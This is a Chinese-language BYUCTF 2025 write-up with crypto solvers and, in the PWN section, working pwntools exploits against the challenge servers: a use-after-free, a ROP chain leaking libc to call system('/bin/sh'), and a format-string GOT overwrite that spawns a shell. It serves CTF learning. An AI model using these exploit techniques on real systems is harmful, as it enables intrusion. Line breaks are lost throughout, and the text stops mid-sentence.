几周没会的比赛了,都是一题游。这周的BYU还不错,难度适中,只是时间有点短。周末时间不够。
Crypto
Many Primes
from Crypto.Util.number import bytes_to_long, getPrime
import randomflag = open("flag.txt").read().encode()
flag = bytes_to_long(flag)
n = 1
while n.bit_length()<4096:i = random.randint(10,16)reps = random.randint(2,5)p = getPrime(i)if n%p !=0:n*=p**reps
e = 65537
encryptedFlag = pow(flag, e, n)print(f"n = {n}")
print(f"e = {e}")
print(f"flag = {encryptedFlag}")
很显然这个n是由一系列小素数组成的可以很容易分解。
n = 84957339878841249042661992015318775914153057891067549723671982778975957526984361748735670333426792012519248099265537115315835602057882318543112781196438953840653279029957533208045448649312183873062132255928109150470090982541502003013666939934181416473581073990221728448342533549843710383544743220364127453679761909368982493089369740815066106196444062558446312836612656666434089655206650558129894180991572670565328419648196602807190683488653617068325238542193033423978598565191919683033996144778397817249870630736098769732268174866389943010980427234356604782502318622853423388492983406635687647680770869588481426436811952986075832678887752706507835771052708232550208582584262345437818916577580806059662945066377375408508814381061305598911972399165132279018674832071994673661875185328115121586302490349253912699566783660070599552395205352917554104371784905394477629626963439266490743240318198729049054547013391348516066097465180775402810975266096525722415778248668765855332776864126033830969325570615444114396786906102536716873598804164196155179833683285635189223166238933318740720918827120989416013091102543382987278707392961157272937695585450287755023671116911370689655292160336521776501052329465384315585357461493649222793172462113102463
e = 65537
flag = 45146787828557679140423580221442956925310977371109091853462843177826294442352634580160310989152235297235514141658881390908592470683795245870619319983451904537192781823855678086088663405872526980084960008183831288044960349605168173490367894375757787452024287989993362954206286853190401541606518731317814018817491109177360761859453002792899864984488524864028766239497641048919565458281765487932324396702580026094746189401141448947513512730220423629277692258527951902039531739842965067285622196418171785466236294324572986853688947727117303227689578683403160426800470263102483582737614730930657875098843867256713854784720793138228809768453579721222271047690131897888999884098995408016105397663714102200568327066068146128637742779637777800612639149916508879936573438036837445673606364763612971401591822166427703422764153960398983100036398400304771376839125152709954274549463602659761299411215766075895177151923436509501196662786766042103493713861194722614436307437016043581292216432028543923347478884441934980948114759937955940408027377458938151172837554432746134399838012547867483350557859826433321810794053681726512471838143910118068486851496148663526948219071671481909824342580081675074372829356225227848676981201731545407466857723499918017from Crypto.Util.number import *ps = factor(n)
phi=1
for v in ps:phi *= v[0]^(v[1]-1)*(v[0]-1)d = inverse_mod(e,phi)
m = pow(flag,d,n)
long_to_bytes(int(m))
#byuctf{3ulers_ph1_function_15_v3ry_us3ful_4nd_th15_I5_a_l0ng_fl4g}
PEM
$flag \in \sqrt N$
给了一个公钥,提示显然flag=m^2
long_to_bytes(isqrt(n))
#b'fjagkdflgfkdsjgfdltyugvjcbghjqfsdjvfdhbjfd byuctf{P3M_f0rm4t_1s_k1ng} cmxvblalsfiuqeuipplvdldbnmjzxydhjgfdgppsksjq'
Real Smooth
#!/usr/local/bin/pythonfrom Crypto.Cipher import ChaCha20
from Crypto.Random import get_random_bytes
from secrets import FLAGkey = get_random_bytes(32)
nonce = get_random_bytes(8)cipher = ChaCha20.new(key=key, nonce=nonce)
print(bytes.hex(cipher.encrypt(b'Slide to the left')))
print(bytes.hex(cipher.encrypt(b'Slide to the right')))try:user_in = input().rstrip('\n')cipher = ChaCha20.new(key=key, nonce=nonce)decrypted = cipher.decrypt(bytes.fromhex(user_in))if decrypted == b'Criss cross, criss cross':print("Cha cha real smooth")print(FLAG)else:print("Those aren't the words!")
except Exception as e:print("Those aren't the words!")
给了用同样key加密的两段明文(对于chacha20加密来说,这两段可以看成连在一起的一段),要求给出一个密文解密与指定明文相同。chacha20其实就是生成个加密流,然后与明文异或得到密文。所以拿密文与明文1明文2异或就行。
from pwn import *
context.log_level = 'debug'p = remote('smooth.chal.cyberjousting.com', 1350)v = b'Slide to the left' + b'Slide to the right'
c = bytes.fromhex(p.recvline().strip().decode()) + bytes.fromhex(p.recvline().strip().decode())s = xor(v,c)v = b'Criss cross, criss cross'
c = xor(v,s[:len(v)])
p.sendline(c.hex())p.interactive()
#byuctf{ch4ch4_sl1d3?...n0,ch4ch4_b1tfl1p}
Cycles
from Crypto.Util.number import long_to_bytes, bytes_to_long, isPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad# Can you undo this?
from hidden import p,N,a,flag,g# these are for you :)
assert isPrime(p)
assert len(bin(a)) < 1050hint = pow(g, a, p)
key = long_to_bytes(a)[:16]cipher = AES.new(key, AES.MODE_ECB)
ct = cipher.encrypt(pad(flag, AES.block_size))# Now for your hints
print(f"g = {g}")
print(f"P = {p}")
print(f"ciphertext = {ct}")
print(f"Hint = {hint}") #a=p-1
这题其实就是求a,给的提示是g^a=1 mod p 根据费小这个a应该是p-1但试了一下不对,再根据a小于1050位,猜a = k*(p-1)爆破一下
from tqdm import trange
for i in trange(1,1<<26):a = (P-1)*icipher = AES.new(long_to_bytes(a)[:16], AES.MODE_ECB)m = cipher.decrypt(ciphertext)if b'byu' in m:print(m)#byuctf{1t_4lw4ys_c0m3s_b4ck_t0_1_21bcd6}
Choose Your RSA
#!/usr/local/bin/pythonfrom Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, getPrime
from Crypto.Util.Padding import pad
import osprint("[+] Generating values...", flush=True)
flag = open("/app/flag.txt").read().encode()
key = os.urandom(160)
p, q, n, e = [], [], [], []
for i in range(3):p.append(getPrime(1024+512*i))q.append(getPrime(1024+512*i))n.append(p[i]*q[i])cipher = AES.new(key[:16], AES.MODE_ECB)
print(cipher.encrypt(pad(flag, AES.block_size)).hex())
print("We will encrypt the key three times, and you can even choose the value of e. Please put your distinct e values in increasing order.")try:e = list(map(int, input().split(" ")))assert e[0]>1assert e[1]>e[0]assert e[2]>e[1]
except Exception as e:print("sorry, invalid input")quit()key = bytes_to_long(key)
for i in range(3):print(f"n{i}=",n[i], sep="")print(f"c{i}=", pow(key, e[i], n[i]), sep="")
这里要求输入3个e, 1<e0<e1<e2,这里的key是160*8位,n分别是2048+1024*e位,如果输入2则正好m^2比n大,第1个想到的就是CRT,输入2,4,8结果3个n的位置其实还是不如m^8大。然后用2,3,6成功。不过看了官方WP,其实只用2,4就可以m^4=5120位正好与两个n的和相等。
Hash Based Cryptography
#!/usr/local/bin/pythonimport hashlib
from secrets import KEY, FLAGdef gen_otp(key: bytes, message: bytes) -> bytes:iv = keyotp = b''for _ in range(len(message)//20):iv = hashlib.sha1(iv).digest()otp += ivreturn otpdef pad(message):if type(message) is str:message = message.encode()return message + bytes([(20 - len(message)) % 20]) * ((20 - len(message)) % 20)def unpad(message):if message[-1] > 20 or message[-1] != message[-message[-1]]:print("Padding error")raise ValueError("Invalid padding")return message[:-message[-1]]def encrypt(key, message) -> str:if type(key) is str:key = key.encode()return bytes([a^b for a, b in zip(pad(message), gen_otp(key, pad(message)))]).hex()def decrypt(key, message) -> str:if type(key) is str:key = key.encode()try:message = bytes.fromhex(message)return unpad(bytes([a^b for a, b in zip(message, gen_otp(key, pad(message)))])).decode(errors='ignore')except Exception as e:return f"Error decrypting"def test():print(encrypt("key", "hello world"))print(decrypt("key", "ce4a4e49d050c8c3b9ab95e62330713f787a7ed7"))def main():print("I just created this encryption system. I think it's pretty cool")print("Here's the encrypted flag:")print(encrypt(KEY, FLAG))print("Here, you can try it out, too:")while True:user_input = input(" > ")decrypted = decrypt(KEY, user_input)if FLAG in decrypted or "byuctf" in decrypted:print("I didn't make it that easy")continueprint(decrypted.encode())if __name__ == "__main__":main()
这个加密其实就是用key异或,然后提供解密,但要求不能与flag相同也不能用byuctf所以改第1个字符就OK了
└─$ nc hash.chal.cyberjousting.com 1351
I just created this encryption system. I think it's pretty cool
Here's the encrypted flag:
36622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf5606981
Here, you can try it out, too:> 36622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf56069fd
I didn't make it that easy> 37622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf56069fd
b'cyuctf{my_k3y_4nd_m3ss4g3_w3r3_th3_s4m3'
#byuctf{my_k3y_4nd_m3ss4g3_w3r3_th3_s4m3}
Anaken21sec1/2
这俩题加密是一样的,只是第1题给了key要求解密,第2题要求求key再解密,所以放一起了。
import numpy as np
from random import choiceA = np.array([[1, 7, 13, 19, 25, 31],[2, 8, 14, 20, 26, 32],[3, 9, 15, 21, 27, 33],[4, 10, 16, 22, 28, 34],[5, 11, 17, 23, 29, 35],[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],[35, 29, 23, 17, 11, 5],[34, 28, 22, 16, 10, 4],[33, 27, 21, 15, 9, 3],[32, 26, 20, 14, 8, 2],[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],[32, 26, 20, 14, 8, 2],[33, 27, 21, 15, 9, 3],[34, 28, 22, 16, 10, 4],[35, 29, 23, 17, 11, 5],[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],[8, 2, 10, 4, 12, 6],[19, 13, 21, 15, 23, 17],[20, 14, 22, 16, 24, 18],[31, 25, 33, 27, 35, 29],[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],[1, 11, 15, 4, 29, 18],[7, 13, 14, 10, 16, 17],[20, 21, 27, 23, 24, 30],[19, 8, 33, 22, 26, 36],[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]def getRandomKey():letters = "abcdefghijklmnopqrstuvwxy"key = choice(letters)for i in range(1,11):oldletter = key[i-1]newletter = choice(letters)oldletterNum = ord(oldletter)-97newletterNum = ord(newletter)-97while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:newletter = choice(letters)newletterNum = ord(newletter)-97key+=newletterreturn keydef permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[i,j] = blockM[index//6, index%6]return finalBlockMdef add(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] +=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]elif count == 3:blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]else:blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]return np.mod(blockM, 3)def encrypt(plaintext, key):plaintext += "x"*((12-len(plaintext)%12)%12)blocks = [plaintext[12*i:12*(i+1)] for i in range(0,len(plaintext)//12)]keyNums = [ord(key[i])-97 for i in range(len(key))]resultLetters = ""#do the block permutations and additionsfor block in blocks:#make 6 by 6 matrixblockM =np.zeros((6,6))for (i,letter) in enumerate(block[0:6]):letterNum = ord(letter)-96blockM[0,i] = letterNum//9blockM[1,i] = (letterNum%9)//3blockM[2,i] = letterNum%3for (i,letter) in enumerate(block[6:]):letterNum = ord(letter)-96blockM[3,i] = letterNum//9blockM[4,i] = (letterNum%9)//3blockM[5,i] = letterNum%3#scramble matrixfor keyNum in keyNums:blockM = permute(blockM,(keyNum//5)%5)blockM = add(blockM, keyNum%5)#get resulting letters from matrixfor i in range(6):resultLetterNum = int(9*blockM[i,0]+3*blockM[i,1]+blockM[i,2])if resultLetterNum == 0:resultLetters += "0"else:resultLetters += chr(resultLetterNum+96)for i in range(6):resultLetterNum = int(9*blockM[i,3]+3*blockM[i,4]+blockM[i,5])if resultLetterNum == 0:resultLetters += "0"else:resultLetters += chr(resultLetterNum+96)#rearrange ciphertext according to the keyreducedKeyNums = [][reducedKeyNums.append(x) for x in keyNums if x not in reducedKeyNums]letterBoxes = [[] for i in reducedKeyNums]finalEncryptedText = ""for i in range(len(resultLetters)):letterBoxes[i%len(reducedKeyNums)].append(resultLetters[i])for i in range(len(reducedKeyNums)):nextLowest = reducedKeyNums.index(min(reducedKeyNums))reducedKeyNums[nextLowest] = 27for letter in letterBoxes[nextLowest]:finalEncryptedText+=letterreturn(finalEncryptedText)if __name__ == "__main__":plaintext = input("What would you like to encrypt?\n")plaintextList = [letter.lower() for letter in plaintext if letter.isalpha()]plaintext = ""for letter in plaintextList:plaintext += letterkey = input("Enter the encryption key. Leave blank to randomly generate.\n")if key == "":key = getRandomKey()print(f"Your key is: {key}")print(encrypt(plaintext, key))
加密过程是这样的:
1,把明文pad成12的整数倍。明文只能是a-z的小写字母。
2,把明文每12字节一块加密
1,把12个字符分两组,第1组按字母序号+1的3进制放到6*6矩阵的前3行每列对应1个字符,第2组同样的方法放后3行。
2,依将按11位key的序号对矩阵作sbox和add操作,而key的值用来表示操作的矩阵和add的位置。
3,将上步结果,前3列和后3列分别看成3进制得到对应的字符(0abc...)
3,所有块连接到一起后用栅栏的方法分成11组,用key的值从小到大将这些组重组成密文。
求key
在没有key的情况,首先就是求key.这里允许20次交互。
1,在加密的第3步是按照key的大小重组,所以这里先加密10个块,然后再生成一个10个块连在一起的,这样就得到10组未组合的密文和这10组密文组合后的密文。这里用10组是因为key的长度是因为每个块12字符,10*12=120与11块密文重组的11*11只差1个,把10*12个密文分11组,有10个组会有1个块是两个字符其它都是1个字符。
单独密文 'splfzkkrwdgx', 'apmgziosweas', 'phkbojvbuldw', 'yhi0okt0umgx', 'ghjaoixaunas', 'mxqegjdkvudw', 'vxocgkbivvgx', 'dxpdgifjvwas', 'jteh0svbhcmw', 'stcf0tt0hdpx'
组合密文 'sasjuaegfetpepgxivid0tlplyasjvjh0fzvihuvasshzokhnmgxih0kwb0odoxcskmhmgdwkvbfrgotjxvdmwtwsboxqxwjpxdadwkukcgvcgxiu0agbptd'
将全部密文按大概10-11一段切开换行,并且每段首字符为第1个单独密文的1个字符(其中有一个是前两个字符),例子中开头分别是s p l ... gx (这里恰巧gx赶在最后,不一定每回都是最后)
'''
#从第2列开始虽然还是那些字符,但顺序并不相同
s as j u a e g f e t
p e p gx i v i d 0 t
l p l y as j v j h 0
f z v i h u v as s h
z o k h n m gx i h 0
k w b 0 o d o x c s
k m h m g dw k v b f
r g o t j x v d mw t
w s b o x q x w j px
d a dw k u k c g v c
gx i u 0 a g b p t d#当确定第1组的双字符是gx时,所有密文的双字符位置是相同的
splfzkkrwd gx
apmgzioswe as
phkbojvbul dw
yhi0okt0um gx
ghjaoixaun as
mxqegjdkvu dw
vxocgkbivv gx
dxpdgifjvw as
jteh0svbhc mw
stcf0tt0hd px
'''
然后按列将双字符出现的位置记录下来:11,1,10,2,3,7,5,4,8,9,6 最后一个6是这些位置与未出现的一个这里只能得到10个位置,最后一个就是未出现的
这里的1-11是表示key的大小顺序,并不是key的值。
爆破key
由于已经得到key里字符的位置,这里爆破11个字符时就不用爆破所以排列而是得到C25,11的组合就行,再得到上步得到的顺序排成key即可,并通过encrypt来验证。这题实际爆破了5分钟,并不算长。估计最长会30分钟。
import encryptcipher ='uoan0zhemdqv0fmaqcmbkxxotmzswjyavoox'
order = [11,1,10,2,3,7,5,4,8,9,6]
#取第1组密文爆破
m1 = 'a'*12
c1 = 'splfzkkrwdgx'import itertools
from math import comb
import tqdmdef attack(v):tkey = ''.join([v[order[i]-1] for i in range(11)])if encrypt.encrypt('a'*12,tkey) == 'splfzkkrwdgx':print('key=', tkey)return Truetab = [chr(97+i) for i in range(25)]for v in tqdm.tqdm(itertools.combinations(tab, 11), total=comb(25,11)):if attack(v):break
解密
1,先把组合后的密文恢复成12字节的块,原题的命令太恶心了,越看越乱。
def dec1(c,key):#切开#1,恢复顺序#恢复顺序clen = len(c)nkey = [ord(i)-97 for i in key]vv = sorted(nkey)#print(nkey,vv)letterBoxes = ['']*11#按key大小顺序组合bsize = clen//11rr = clen - bsize*11 #<rr的取bsize+1字符,其它取bsize个f = vv[rr-1] #<=f 则每块bsize+1#print(bsize,rr,f)rc = [0]*11for i in vv:if nkey.index(i) < rr:rc[nkey.index(i)] = c[:bsize+1]c = c[bsize+1:]else:rc[nkey.index(i)] = c[:bsize]c = c[bsize:]print(rc)rc2 = ''for i in range(bsize+1):for j in range(11):if rc[j] == '': continuerc2+=rc[j][:1]rc[j]=rc[j][1:]rc3 = [rc2[i:i+12] for i in range(0,clen,12)]#print(rc,rc2,rc3)return rc3
再对每个块解密,3进制放入矩阵,add的逆向,sbox逆向。
import numpy as np
from random import choiceA = np.array([[1, 7, 13, 19, 25, 31],[2, 8, 14, 20, 26, 32],[3, 9, 15, 21, 27, 33],[4, 10, 16, 22, 28, 34],[5, 11, 17, 23, 29, 35],[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],[35, 29, 23, 17, 11, 5],[34, 28, 22, 16, 10, 4],[33, 27, 21, 15, 9, 3],[32, 26, 20, 14, 8, 2],[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],[32, 26, 20, 14, 8, 2],[33, 27, 21, 15, 9, 3],[34, 28, 22, 16, 10, 4],[35, 29, 23, 17, 11, 5],[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],[8, 2, 10, 4, 12, 6],[19, 13, 21, 15, 23, 17],[20, 14, 22, 16, 24, 18],[31, 25, 33, 27, 35, 29],[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],[1, 11, 15, 4, 29, 18],[7, 13, 14, 10, 16, 17],[20, 21, 27, 23, 24, 30],[19, 8, 33, 22, 26, 36],[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]def getRandomKey():letters = "abcdefghijklmnopqrstuvwxy"key = choice(letters)for i in range(1,11):oldletter = key[i-1]newletter = choice(letters)oldletterNum = ord(oldletter)-97newletterNum = ord(newletter)-97while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:newletter = choice(letters)newletterNum = ord(newletter)-97key+=newletterreturn keydef permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[i,j] = blockM[index//6, index%6]return finalBlockMdef add(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] +=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]elif count == 3:blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]else:blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]return np.mod(blockM, 3)def sub(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] -=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]-blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[:3,:3]-blockM[3:,3:]elif count == 3:blockM[3:,:3] = blockM[3:,:3]-blockM[:3,3:]else:blockM[:3,3:] = blockM[:3,3:]-blockM[3:,:3]return np.mod(blockM, 3)def r_permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[index//6, index%6] = blockM[i,j]return finalBlockMdef dec1(c,key):#切开#1,恢复顺序#恢复顺序clen = len(c)nkey = [ord(i)-97 for i in key]vv = sorted(nkey)#print(nkey,vv)letterBoxes = ['']*11#按key大小顺序组合bsize = clen//11rr = clen - bsize*11 #<rr的取bsize+1字符,其它取bsize个f = vv[rr-1] #<=f 则每块bsize+1#print(bsize,rr,f)rc = [0]*11for i in vv:if nkey.index(i) < rr:rc[nkey.index(i)] = c[:bsize+1]c = c[bsize+1:]else:rc[nkey.index(i)] = c[:bsize]c = c[bsize:]print(rc)rc2 = ''for i in range(bsize+1):for j in range(11):if rc[j] == '': continuerc2+=rc[j][:1]rc[j]=rc[j][1:]rc3 = [rc2[i:i+12] for i in range(0,clen,12)]#print(rc,rc2,rc3)return rc3def dec_block(block,key):keyNums = [ord(i)-97 for i in key]#make 6 by 6 matrixblockM =np.zeros((6,6))for i in range(6):if block[i] == '0':r = 0else:r = ord(block[i])-96blockM[i,0] = r//9 blockM[i,1] = r%9//3blockM[i,2] = r%3for i in range(6):if block[6+i] == '0':r = 0else:r = ord(block[6+i])-96blockM[i,3] = r//9 blockM[i,4] = r%9//3blockM[i,5] = r%3#print(blockM)#scramble matrixfor keyNum in keyNums[::-1]:blockM = sub(blockM, keyNum%5)blockM = r_permute(blockM,(keyNum//5)%5)#print(blockM)b = ''for i in range(6):v = blockM[0,i]*9 + blockM[1,i]*3+ blockM[2,i]b += chr(int(v)+96)for i in range(6):v = blockM[3,i]*9 + blockM[4,i]*3+ blockM[5,i]b += chr(int(v)+96)return bdef decrypt(c,key):return ''.join([dec_block(i,key) for i in dec1(c,key)])
PWN
Minecraft YouTuber
程序快200行了,主题就是由于user_t和nametag_t两个结构大小相同,先在注册个用户,然后修改last再注销后再注册利用那个残留1337就给flag
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>__attribute__((constructor)) void flush_buf() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);
}typedef struct {long uid;char username[8];long keycard;
} user_t;typedef struct {long mfg_date;char first[8];char last[8];
} nametag_t;long UID = 0x1;
char filename[] = "flag.txt";
user_t* curr_user = NULL;
nametag_t* curr_nametag = NULL;void init() {setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF, 0);
}void register_user() {printf("WELCOME!! We're so excited to have you here! Tell us your username / tag and we'll get you set up with access to the facilities!\n");curr_user = (user_t*)malloc(sizeof(user_t));curr_user->uid = UID++;printf("Please go ahead an type your username now: \n");read(0, curr_user->username, 8);
}void log_out() {free(curr_user);curr_user = NULL;if (curr_nametag != NULL) {free(curr_nametag);curr_nametag = NULL;}
}int print_menu() {int choice;printf("What would you like to do now?\n");printf("1. Register a new user\n");printf("2. Learn about the Time Keepers\n");printf("3. Collect gear\n");printf("4. Elevate to super user\n");printf("5. Change characters\n");printf("6. Leave\n");// 7 is try to free loki but it's not technically an option, you have to be rebellious to get therescanf("%d", &choice);if (choice < 1 || choice > 7) {printf("Invalid choice. You broke the simulation\n");return 0;}return choice;
}int main(void) {init();srand(time(NULL)); int gear;printf("Hello! My name is Miss Minutes, and I'll be your helper here at the TVA!!\nHow about we get you oriented first!\nThe only rule is that we under no circumstances can free Loki... he's locked up for a reason!\n");int input = 1;while (input) {switch (input) {case 1: // register a new userregister_user();break;case 2:printf("The Time Keepers are the three beings who created the TVA and the Sacred Timeline. They are powerful beings who exist at the end of time and are responsible for maintaining the flow of time.\n");break;case 3: // collect gearif (curr_user == NULL) {printf("You must register a user first!\n");break;}gear = rand() % 5 + 1;if (curr_nametag != NULL) {free(curr_nametag);}switch (gear) {case 1:printf("You have received a Time Twister! This powerful device allows you to manipulate time and space.\n");break;case 2:printf("You have received a Name Tag! Please input your first and last name:\n");curr_nametag = (nametag_t*)malloc(sizeof(nametag_t));curr_nametag->mfg_date = (long)time(NULL);read(0, curr_nametag->first, 8);read(0, curr_nametag->last, 8);break;case 3:printf("You have received a Time Stick! This device allows you to reset the flow of time in a specific area.\n");break;case 4:printf("You have received a Time Loop! This device allows you to trap someone in a time loop.\n");break;case 5:printf("You have received a Time Bomb! This device allows you to create a temporal explosion.\n");break;}break;case 4:if (curr_user == NULL) {printf("You must register a user first!\n");break;}if (curr_user->uid >= 0x600000) {printf("Well, everything here checks out! Go ahead and take this key card!\n");curr_user->keycard = 0x1337;} else {printf("Unfortunately, it doesn't look like you have all the qualifications to get your own key card! Stay close to Miss Minutes and she should be able to get you anywhere you need to go...\n");}break;case 5:if (curr_user == NULL) {printf("You must register a user first!\n");break;}log_out();printf("You have been logged out.\n");printf(". "); sleep(1);printf(". "); sleep(1);printf(". \n"); sleep(1);register_user();break;case 6:input = 0;break;case 7:if (curr_user == NULL) {printf("You must register a user first!\n");break;}if (curr_user->keycard == 0x1337) {printf("You have freed Loki! In gratitude, he offers you a flag!\n");FILE* flag = fopen(filename, "r");if (flag == NULL) {printf("Flag file not found. Please contact an admin.\n");return EXIT_FAILURE;} else {char ch;while ((ch = fgetc(flag)) != EOF) {printf("%c", ch);}}fclose(flag);exit(0);break;} else {printf("EMERGENCY EMERGENCY UNAUTHORIZED USER HAS TRIED TO FREE LOKI!\n");printf("Time police rush to the room where you stand in shock. They rush you away, take your gear, and kick you back to your own timeline.\n");log_out();input = 0;break;}}if (input != 0) {input = print_menu();}}return input;
}
from pwn import *
context(arch='amd64', log_level='debug')p = remote('minecraft.chal.cyberjousting.com', 1354)p.sendafter(b"Please go ahead an type your username now: \n", p64(0x1337))
while True:p.sendlineafter(b"6. Leave\n", b'3')v = p.recvline()if v == b"You have received a Name Tag! Please input your first and last name:\n":p.send(p64(0x1337)*2)breakp.sendlineafter(b"6. Leave\n", b'5')
p.sendafter(b"Please go ahead an type your username now: \n", p64(0x1337))p.sendlineafter(b"6. Leave\n", b'7')p.interactive()
#byuctf{th3_3xpl01t_n4m3_1s_l1t3r4lly_gr00m1ng}
Game of Yap
game调用play,这里有个溢出。
int game()
{play();return puts("You can't yap!");
}ssize_t play()
{char buf[256]; // [rsp+0h] [rbp-100h] BYREFreturn read(0, buf, 0x256uLL);
}
有溢出但是没有相应的gadget所以这里需要用几个gadget绕一下
0x1266 puts 这里返回时rsi寄存器会被置成libc的地址
0x128a printf(%p,) 利用rsi残留的值泄露libc
第1步利用第1个game的溢出覆盖返回地址尾字节跳到yap(去掉push rbp)泄露加载地址
第2步利用上边两个gadget先用1266填充rsi再用128a得到libc然后调用main重入
第3步sysem
from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./game-of-yap')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8.1_amd64/libc.so.6')#p = process('./game-of-yap')
p = remote('yap.chal.cyberjousting.com', 1355)p.sendafter(b"Here's your first chance...\n", b'\0'*0x108+p8(0x7d))elf.address = int(p.recvline(),16) - 0x1210
print(f"{elf.address = :x}")#gdb.attach(p, "b*0x555555555239\nc")p.sendafter(b"One more try...\n", b'\0'*0x108+flat(elf.address+0x1266, 0, elf.address+0x128a,0, elf.address+0x1254))
p.recvuntil(b"You can't yap!\n")libc.address = int(p.recvline(), 16) - 0x204643
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
p.send(b'\0'*0x108 + flat(pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))
p.interactive()
Goat
这是个格式化字符串的题,有3个小点
1是有前异输出24字节,所以每次输出需要减掉这个数
2是字节数比较少每次只能改一点,而且地址需要预存
int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v4[2]; // [rsp+0h] [rbp-C0h] BYREFchar s1[64]; // [rsp+10h] [rbp-B0h] BYREFchar s[104]; // [rsp+50h] [rbp-70h] BYREFunsigned __int64 v7; // [rsp+B8h] [rbp-8h]v7 = __readfsqword(0x28u);v4[0] = 'TAOG';v4[1] = 0LL;snprintf(s,0x5FuLL,"Welcome to the %s simulator!\nLet's see if you're the %s...\nWhat's your name? ",(const char *)v4,(const char *)v4);printf(s);fgets(s1, 32, stdin);snprintf(s, 0x5FuLL, "Are you sure? You said:\n%s\n", s1);printf(s);fgets(s1, 16, stdin);if ( !strncmp(s1, "no", 2uLL) ){puts("\n?? Why would you lie to me about something so stupid?");}else{snprintf(s1, 0x3FuLL, "\nSorry, you're not the %s...", (const char *)v4);puts(s1);}return 0;
}
这里通过修改got表,改变程序流程,先是把strncmp 改成main实现循环。
因为改成main后每次栈都会抬高,而输入长度限制没法一次写两个地址(需要改3字节,一次改4字节字符数太大了),所以先执行两次把got.printf的地址留在栈里,最后一次把printf改为system,然后输入带;/bin/sh的值执行shell
from pwn import *
import os
context(arch='amd64', log_level='debug')elf = ELF('./goat')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8.1_amd64/libc.so.6')#p = process('./goat')
p = remote('goat.chal.cyberjousting.com', 1349)#pow
p.recvline()
v = p.recvline().decode().strip()
print(v)
a = os.popen(v)
p.send(a.read().encode())'''
18:00c0│ rbp 0x7fffffffdb50 —▸ 0x7fffffffdbf0 —▸ 0x7fffffffdc50 ◂— 0
19:00c8│+008 0x7fffffffdb58 —▸ 0x7ffff7c2a1ca ◂— mov edi, eax
'''#strncmp->main
p.sendafter(b"name? ", f'%{0x11f0-24}c%11$hn%30$p %31$p '.encode().ljust(0x18,b'\0')+p64(0x404000))
p.recvuntil(b'0x')
stack = int(p.recvuntil(b' '), 16) - 0xa0
libc.address = int(p.recvuntil(b' '), 16) - 0x2a1ca
print(f"{stack = :x} {libc.address = :x}")
p.sendline()
p.sendlineafter(b"name? ",b'')p.send(flat(0,elf.got['printf']))
p.sendlineafter(b"name? ",b'')
p.send(flat(0,elf.got['printf']+1))
p.sendlineafter(b"name? ",b'')
p.sendline(b'')#gdb.attach(p, "b*0x4012b0\nc")
#printf->system
system = p64(libc.sym['system'])
v1 = system[0]
v2 = u16(system[1:3])
p.sendlineafter(b"name? ", f'%{v1-24}c%87$hhn%{(v2-v1)&0xffff}c%61$hn'.encode())p.sendline(b';/bin/sh\0')p.interactive()
*MIPS
这种不大关心,为啥弄这么小众的题又都是入门
*TCL
还以为主办方给谁作广告呢。
看了WP拿来也没弄成。https://github.com/BYU-CSA/BYUCTF-2025/blob/main/
REV
LLIR
非常长,基本上就是v[33]=v[32]+1这种判断,写成不好认的语言
306: ; preds = %295%307 = load ptr, ptr %2, align 8%308 = getelementptr inbounds i8, ptr %307, i64 33%309 = load i8, ptr %308, align 1%310 = sext i8 %309 to i32%311 = load ptr, ptr %2, align 8%312 = getelementptr inbounds i8, ptr %311, i64 32%313 = load i8, ptr %312, align 1%314 = sext i8 %313 to i32%315 = add nsw i32 %314, 1%316 = icmp eq i32 %310, %315br i1 %316, label %317, label %340
整理一下得到
